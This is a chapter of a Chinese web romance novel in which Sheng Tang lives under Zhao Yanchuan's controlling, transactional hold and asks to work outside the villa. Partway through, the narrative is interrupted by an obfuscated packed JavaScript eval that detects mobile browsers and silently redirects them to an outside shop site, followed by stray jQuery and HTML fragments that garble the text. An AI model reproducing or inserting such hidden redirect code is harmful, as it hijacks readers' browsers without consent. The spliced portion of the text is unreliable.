21. 第二十一章
    人总是很贪心,一旦尝到了一点甜头,就想着更多一点,再多一点。

    渐渐的被当成赵栗川而理所当然得到的爱,填补不了赵言川内心其他渴望,他没有办法忍耐和接受,盛棠在跟他温存的每一个瞬间,喊的都是赵栗川的名字。

    嫉妒和占有欲容易让人变得疯狂和不计后果。

    所以那些看似不经意间,被留下的破绽和证据,实际上都是赵言川的故意而为。

    因为他不甘心。

    他只是没有料到,盛棠真的不爱他。

    不爱就是不爱。

    无关于他做了什么或者不做什么,只要不是赵栗川,那就什么都是错,反观从前的种种容忍,也只是因为她认错了人。

    喜欢这种事情最不能勉强。

    。

    回到别墅住的这几天,盛棠一直懒懒的不爱下楼。

    吃过饭总是一个人待在房间里,看着窗外的飞鸟和飘落的树叶,除去被强迫的这一部分,日子过得还算不错。

    赵言川白天几乎都不在家,但没有限制过盛棠的日常出行,只不过每次下楼,郑叔张姨和司机小刘都像门神一样站在客厅问她要去哪里,让她觉得很不舒服。

    久而久之,她觉得看不见人的日子也挺不错。

    有时太过闲暇,她自己也会胡思乱想,思考就她现在的情景而言,算不算得上是一个合格的秘密情人。

    房间窗户的位置正对着别墅的大门,如若没有关窗,一到晚上就会听见赵言川的车子进院落的声音,而与其同时,盛棠就会不自觉的捏着衣角紧张起来。

    情人要做的无非就是陪玩陪睡这些事。

    和赵言川上床并没有想象中的那么难忍,半年来的相处,让盛棠的身体跟赵言川达成了某种无法形容的默契,这倒是意外让她省了不少功夫,即便精神上难以接受,至少身体不是那么的抗拒。

    她只是搞不清楚自己现在应该以怎样的态度面对赵言川,又或者对他还存有什么样的感情。

    但唯一可以肯定的是,无论是出国留学,以姑姑或者谁的名义借给她的钱,以及妈妈在疗养院的治疗,得益者都是她。

    没有赵言川,她只会比现在更加狼狈,更加痛苦。

    她做不到忘恩负义,更不可能把那些故意欺骗和虚假情义当做什么都没有发生过。

    赵言川每天晚上搂着她,一遍一遍重复的喜欢是那么的不靠谱,仿佛只是给了自己,一个合法占有她的必要理由。

    明知道她不可能拒绝的深情看上去又是那么的虚情假意。

    京州的雨下了又下,持续了快一周。

    楼下车轮碾过水坑溅出的雨声,一遍一遍的碾过盛棠的心,磨的她微微泛疼,她关了灯躺在床上装睡,听着走廊上的脚步声越来越近。

    直到有人进入房间。

    赵言川身上被雨淋湿了一部分,爬上床,下巴搁在盛棠的脖子处,是意料之中的潮湿。

    盛棠感觉有些不自在,轻轻动了一下,赵言川仿佛察觉到她还没睡着,搂着一截细腰的手臂愈发紧了。

    赵言川回家后一般会先去书房处理工作,再过来找她,今天倒是早些,盛棠摸不准他的脾气,良久没有说话。

    就这么沉默的待了好一会儿,她才出声问了一句:“你不去洗澡吗?”

    赵言川的手往下挪了一点放在盛棠的小腹,闷闷的说道:“让我抱一会儿。”

    声音听上去有些疲惫,盛棠并不是太关心他今天在公司里发生了什么,他们两个人之间说白了是钱色交易,赵言川非拘着她不放,她无可奈何,仅此而已。

    “先去洗澡吧,一会儿着凉了。”

    赵言川:“你关心我?”

    盛棠沉默不语。

    算不上什么关心,只是一句平常的提醒罢了,或者说是想打发他赶紧走,脖子上湿漉漉的雨水弄的自己很不舒服。

    但面对赵言川的自作多情,盛棠没有再泼他的冷水。

    赵言川性子强势的可怕,搞不清楚什么时候不合心意了就会突然生气,盛棠没兴趣跟他吵架,吵来吵去最后受罪的也只有自己。

    人在屋檐下,即便为了让自己的日子过的舒服些,她也得顺着赵言川,讨好的话说不出口,索性懒得说了。

    记忆中赵言川似乎总是这样,静静的待在一个角落里,渴望能得到家人的一点关心。

    但在宜市,那个赵栗川被众星捧月的家里,作为沉默且陌生的兄长,赵言川总是被忽视的那一部分。

    小的时候,盛棠天真活泼,又爱多管闲事,她自诩是个善解人意的大好人,所以每次都比别人先注意到脱离了大部队,目光灼灼的赵言川。

    盛棠有时候也在想,是不是年少的时候,自己不经意间投射的一点点好意,给了赵言川什么样的错觉,让他以为自己产生的依赖就是喜欢。

    实际上,她的好意更多的是一种没有成本的施舍,就连送给赵言川作为生日礼物的手套,都是给赵栗川买东西时候的赠品。

    但人往往就是会对求而不得的东西格外的执着。

    比如盛棠,又比如一些他再怎么努力也得不到的在意和重视。

    她今天确实有事要和赵言川商量。

    盛棠抿了抿嘴唇,突然出声:“我想出去工作。”

    语毕,盛棠拎着耳朵听身后的动静,心里有些没底。

    前天晚上,赵言川突然给了她一张黑卡,里面究竟能刷出多少钱盛棠没什么概念,但看起来他似乎真的打定主意要把自己圈在家里养起来,做一个衣食无忧、调笑取乐的金丝雀。

    只不过没想到的是,赵言川今天倒是格外的好说话。

    “好啊,闷在家里也容易生病,你想什么时候入职我来安排。”

    自从那晚盛棠崩溃向他妥协之后,赵言川就一直在寻找一个缓和关系的契机。

    两个人虽然每晚睡在一起,心里却像是生出了一道无形的隔膜,盛棠就连主动和他说话的时候都少之又少。

    赵言川试图缓和关系无果,又拿她没什么办法,只好攒着劲儿在床上讨回。

    谁知这人没回□□都跟例行公事似的,让干什么就干什么,往床上一趟像条死鱼,搞的他兴致全无,每每坚持做下去,都是出于男人的尊严——总不能让盛棠以为他有什么难言之隐吧。

    以至于她今天主动提点什么要求都会让赵言川受宠若惊。</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207746|151023||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    可盛棠却没有打算去“凌时”工作。

    一是因为以她跟赵言川这种不清不楚的关系,在公司不方便,二是之所以突然想去工作,是由于下午时分接到师兄的电话,通知她面试过了。

    比起做一个空降的关系户,盛棠还是更愿意去傅子鸣那里上班。

    “不用,我......”

    拒绝的话刚到嘴巴,整个人就被赵言川翻了过去,盛棠无措的看着他吞下了后半句话。

    “我说了,”赵言川盯着盛棠:“只要你乖,我没有要限制你人生自由的打算,懂吗?”

    赵言川捏着盛棠的脸颊拧了一下,盛棠吃痛,轻轻皱眉,却把眼神往下敛了敛,自嘲一般笑了一下。

    怎么会不懂呢,这几天别的不说,她盘的最清楚的就是和赵言川的关系了。

    只有他想不想给,没有盛棠想不想要,如果有的商量,他们也不会闹成现在这样。

    “那我还有一个要求。”盛棠说。

    赵言川挑眉,才一周就要提要求了,怎么还时时摆出一副受欺负的样。

    “你说。”他听得到是认真。

    盛棠很小心的说:“我不想让公司的人知道我跟你的关系。”

    赵言川不悦:“为什么?跟我有关系是一件很丢脸的事吗?”

    “我只是不希望工作的第一天,就被别人当成关系户。”

    赵言川哼笑了一声,不知在想些什么,片刻后,他托着腮在盛棠身上扫了一圈,说:“我答应你,你怎么报答我?”

    “你想要什么报答,我......啊,你别......”

    赵言川不由分说的抱住盛棠,在她嘴角处飞快的亲了一口,恶狠狠的说:“晾了我这么多天,亲一口都不行,你见过哪个老公活的像我这么窝囊的?”

    “什么老公?”盛棠反问。

    赵言川急色,也懒得计较这些虚名了:“老板总行了吧。”

    他将盛棠横抱进了浴室......

    。

    夏季雨夜,即便屋内开着空调,稍微动一动还是闷热难忍。

    跟赵言川闹了一回,盛棠身上腻腻的难受,又去洗了个澡。

    从浴室出来,人已经睡着了。

    赵言川睡的很沉,轮廓分明的侧脸,在床头小夜灯的柔光下分外的好看,仔细往耳垂上细瞧,依稀可见祛痣之后留下的浅色印子。

    只是他皮肤白,一晃又好像是自己眼花了。

    枕头下的手机振动了一下,盛棠轻轻摸了出来,回傅子鸣的微信,向他告知自己不能如约去公司报到这件事。

    还没正式敲定的工作,爽约也是常事。

    只不过好歹相识一场,人家又十分关心自己的就业问题,盛棠不好直接放他鸽子。

    坐在床边刚打完字,身后的人突然问:“谁啊?”

    盛棠不自觉的紧了紧,才反应过来自己并没有做什么见不得人的事。

    “没谁,一个朋友。”

    说着,她熄灭手机,躺回了被窝。

    夜色渐浓,盛棠忘了,不久之前,赵言川刚把自己的指纹录进了她的手机,而傅子鸣的微信已经发过来半个小时了。